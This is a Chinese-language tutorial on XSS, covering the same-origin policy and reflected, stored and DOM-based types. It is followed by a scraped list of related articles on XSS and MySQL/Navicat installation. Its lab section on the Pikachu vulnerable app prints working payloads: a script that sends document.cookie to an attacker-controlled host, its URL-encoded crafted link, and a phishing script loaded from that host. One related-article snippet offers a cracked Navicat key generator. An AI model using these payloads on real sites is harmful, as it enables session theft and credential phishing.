XSS注入的原理与实现

article/2025/11/4 16:13:42

一、JavaScript的常用脚本

1.window.location.href 用来跳转页面

eg:<script>window.location.href='www.jd.com'</script>

2.document.cookie

获取客户端的cookie值

3.script 可以通过“src”属性引入JavaScript文件

二、什么是同源策略

        同源策略在web应用的安全模型中是一个重要概念。在这个策略下,web浏览器允许第一个页面的脚本访问第二个页面里的数据,但是也只有在两个页面有相同的源时。源是由url,主机名,端口号组合而成的。这个策略可以阻止一个页面上的恶意脚本通过页面的DOM对象获得访问另一个页面上敏感信息的权限。

对于普遍依赖于cookie维护授权用户session的现代浏览器来说,这种机制有特殊意义。客户端必须在不同站点提供的内容之间维持一个严格限制,以防丢失数据机密或者完整性。

JavaScript中同源指的是两者中的协议域名端口号。三者完全相同才认为是同源的

三、xss漏洞的原理

1.xss漏洞的简单介绍

xss是跨站脚本攻击(cross site scripting)的简写,是指用户向web页面插入js代码,当用户浏览这个页面时,web中嵌入的js代码会被执行。

2.什么是脚本

脚本主要由两个JavaScript和actionscript

3.xss攻击的原理

xss漏洞主要是web对输入和输出没有严格的控制与校验,导致输入的脚本在输出到前端时可以被执行从而产生一些危害。

4.xss的危害

钓鱼攻击;获取键盘记录;获取用户cookie;

四、xss的分类

1.反射型(非持久型)

交互的数据一般不存储在数据库中,例如查询等页面

2.存储型(持久型)

交互的数据一般存储在数据库中,例如注册,留言等页面

3.DOM型

不与后台服务器产生交互

五、xss的实现

1.反射型xss又称持久型xss

get请求方式

xss代码出现在url参数中,浏览器发出请求后参数提交到服务器,服务器接收后参数值出现在响应的html中,浏览器解析并执行了xss代码。

当我们输入一个script代码时,<script>alert("hello world")</script>,查看页面结果

查看结果

2.利用反射型xss以get方式提价获取cookie值

首先需要有目标网站,被攻击者和攻击者后台。

2.1攻击者后台

存放获取的cookie值信息。

修改重定向页面

第一步:构造js代码

<script>document.location='http://192.168.'</script>

http://192.168.1.5/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert("hello+world")</script>&submit=submit

当我使用虚拟机访问这个连接时,会弹出helloWord

第二步,真正获取cookie值

<script>document.location = 'http://192.168.44.139:8088/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

document.location :将页面重定向到这个页面

pikachu/pkxss/xcookie/cookie.php

伪造的连接:http://192.168.44.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.44.139%3A8088%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit HTTP/1.1

192.168.44.1为物理机的IP地址

192.168.44.139为虚拟机的IP地址,攻击者的IP地址

2.钓鱼攻击

原理:首先攻击者在一个含有xss存储型漏洞的网站插入恶意的代码,例如留言板,当用户点击到这个页面时,浏览器会编译这个恶意代码并执行,此时页面会弹出一个文本框,需要用户输入信息,攻击者将用户的输入发送到自己的网页后台,成功获取到用户的信息

payload:<script src="http://192.168.44.139:8088/pikachu/pkxss/xfish/fish.php"></script>

此时这个IP地址为攻击者的网站地址。

3.获取键盘记录

原理:首先攻击者在一个含有xss存储型漏洞的网站插入恶意的代码,例如留言板,当用户点击到这个页面时,浏览器会编译这个恶意代码并执行,用户通过键盘留言时,恶意代码会将用户的键盘记录发送到攻击者的网站后台。


 


http://chatgpt.dhexx.cn/article/noKmqrOR.shtml

相关文章

XSS注入(跨站脚本攻击)

今天学习一下xss注入 1.XSS是什么 XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)"&#xff0c;为了不和层叠样式表(Cascading Style Sheets,CSS)混淆&#xff0c;所以将跨站脚本攻击缩写为XSS。xss本质上是黑客通过对网页的HTML注入&#xff0c;篡改了原本…

xss注入教程与总结

xss注入个人总结 1 " < >可以用URL编码 %22 %3c %3e HTML 编码 &quot; < > 代替 2 如果过滤 可以用%2522 %26colon; 这种代替尝试 二次转码 3 如果输入框有历史记录 &#xff0c;个人简介注意使用 发现很多网站对输入框有过滤缺但没有过滤历史记录这些…

XSS注入(1)-两个简单测试理解反射型xss注入和存储型xss注入

XSS注入(1)-两个例子理解反射型xss注入和存储型xss注入 XSS全称 Cross Site Script&#xff0c;为使与css语言重名&#xff0c;所以我们将其称为xss跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码&#xff0c;而程序对于用户输入内容未过滤&#xff0c;当用户浏…

xss漏洞注入

定义&#xff1a; XSS攻击通常指的是通过利用网页开发时留下的漏洞&#xff0c;通过巧妙的方法注入恶意指令代码到网页&#xff0c;使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript&#xff0c;但实际上也可以包括Java、 VBScript、ActiveX、 Fla…

XSS-Lab(XSS注入笔记1-16)

前言 本篇博客主要是记录笔者完成XSS-Lab步骤以及分析 题目链接&#xff1a;https://buuoj.cn/challenges#XSS-Lab Github仓库&#xff1a;https://github.com/rebo-rn/xss-lab 出题人的题解&#xff1a;https://github.com/Re13orn/xss-lab/blob/master/XSSwrite%20up.doc…

XSS注入原理以及一些绕过姿势

介绍 XSS——跨站脚本攻击。通过这个攻击手段&#xff0c;攻击者可以将恶意的 JavaScript 代码插入存在 XSS 漏洞的 Web 页面中&#xff0c;当用户浏览带有恶意代码的页面时&#xff0c;这些恶意代码会被触发&#xff0c;从而达到攻击的目的。可以说&#xff0c;XSS 是针对用户…

XSS注入基础入门篇

XSS注入基础入门篇 1.XSS基础概念2. XSS的分类以及示例2.1 反射型XSS2.1.1 示例1&#xff1a;dvwa low 级别的反射型XSS2.1.2 攻击流程 2.2 DOM型XSS2.2.1 示例2&#xff1a;DOM型XSS注入1.环境部署2.基础版本3.进阶绕过 2.3 存储型XSS2.3.1 示例1&#xff1a;dvwa low示例2.3.…

XSS跨站脚本注入详解

一、什么是XSS跨站脚本注入(XSS注入)? XSS(Cross-site scripting)注入是一种Web安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本,从而导致攻击者能够窃取受害者的敏感信息或者利用受害者的身份在应用程序上执行未经授权的操作。 攻击者通常会在受害者访问的Web页…

XSS注入

文章目录 前言一、XSS是什么&#xff1f;二、XSS的大致分类与利用思路1.反射型2.存储型3.DOM型 三、不同类型的XSS漏洞注入演示1.反射型xss2.存储型xss3.DOM型xss 三、XSS漏洞实战1.制作钓鱼网站获得用户的用户名和密码2.获取管理员的cookie 总结 前言 本篇文章详细讲解XSS漏洞…

XSS注入测试

XSS 全称(Cross Site Scripting) 跨站脚本攻击&#xff0c; 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时&#xff0c;脚本就会在用户的浏览器上执行&#xff0c;从而达到攻击者的目的. 比如获取用户的Cookie&#xff0c;导…

MySQL和Navicat的安装与配置

mysql和navicat的安装与配置 MySQL的安装与配置Navicat的安装与配置 安装下载&#xff1a; MySQL下载 Navicat下载 MySQL的安装与配置 将mysql文件夹转移到自己想放置的路径下 复制mysql的bin路径 打开环境变量配置 右击【此电脑】&#xff0c;打开【属性】&#xff0c;打开…

手把手教你安装MySQL+Navicat

本文为个人于 Windows10&#xff08;64位&#xff09;操作系统下 安装MySQL&#xff08;版本号&#xff1a;8.0.18&#xff09;和Navicat&#xff08;版本号&#xff1a;12&#xff09;的过程记录&#xff0c;希望也能给你带来帮助。 目录 一、MySQL的安装1. 卸载电脑上已有版…

MySQL+Navicat 下载、安装教程(Windows)

目录 前言MySQL下载安装验证 Navicat下载安装配置 前言 MySQL 在过去由于性能高、成本低、可靠性好&#xff0c;已经成为最流行的开源数据库&#xff0c;因此被广泛地应用在 Internet 上的中小型网站中。随着 MySQL 的不断成熟&#xff0c;它也逐渐用于更多大规模网站和应用。—…

Navicat15安装使用

本安装流程适合各个版本Navicat安装 从网络下载Navicat及注册机 点击这里 链接: https://pan.baidu.com/s/1Fh4BMQF3PlUMT4_RlfBt0A?pwdph2h 提取码: ph2h 1.删除系统自带的杀毒软件&#xff0c;例如360&#xff0c;电脑管家&#xff0c;Windows Defender window10的 Windo…

MySQL下载安装教程及Navicat安装教程

一、MySQL下载安装 1.MySQL下载官网:https://dev.mysql.com/downloads/mysql/ 2. 将mysql-8.0.27-winx64文件解压&#xff08;例如路径为D:\mysql-8.0.27-winx64&#xff09;&#xff0c;如下图 3.设置PATH环境变量为D:\mysql-8.0.27-winx64文件夹的bin文件夹 4.运行cmd&#…

Navicat Premium 简介、安装、使用

Navicat 官网&#xff1a; http://www.navicat.com.cn/ 简介&#xff1a; Navicat Premium 是一套数据库开发工具&#xff0c;让你从单一应用程序中同时连接 MySQL、MariaDB、MongoDB、SQL Server、Oracle、PostgreSQL 和 SQLite 数据库。它与 Amazon RDS、Amazon Aurora、…

Navicat Premium的下载及安装

文章目录 前言一、下载二、安装三、注册写在最后 前言 Navicat是开发人员常用的一款数据库管理工具&#xff0c;适用于Microsoft Windows、Mac OS及Linux平台&#xff0c;针对各类数据库都有相应的产品&#xff0c;快速、可靠而且价格相当便宜。 如Navicat Premium是一个可多重…

Mac系统安装MySQL连接Navicat(手把手,超详细)

Mac系统安装MySQL 在下载安装包之前&#xff0c;看一下自己下载哪个版本&#xff1a; uname -a我直接在官网下载的 -> MySQL官网下载网址 因为直接在官网下载的&#xff0c;所以运行安装包的时候会显示这个&#xff1a; 桌面左上角点击苹果logo&#xff0c;在系统偏好设…

史上最详细、最良心的MySQL 5.7 + Navicat 下载安装教程(附安装包)

这怕是史上最详细&#xff0c;最良心的MySQL5.7下载安装教程了&#xff0c;文末还有Navicat下载安装加破解的教程。 一、下载 1、可以去官网下载:https://dev.mysql.com/downloads/mysql/5.7.html#downloads 2、通过我的百度网盘下载 链接&#xff1a;https://pan.baidu.com…

Navicat安装

一、 下载Navicat安装包 通过navicat官网下载 二、手把手教你安装Navicat 1.双击下载好的Navicat 安装包&#xff0c;弹出安装向导&#xff0c;选择下一步 2.阅读用户许可协议&#xff0c;同意请勾选“我同意”&#xff0c;并选择“下一步”。 3.选择程序安装路径。 4.默认&…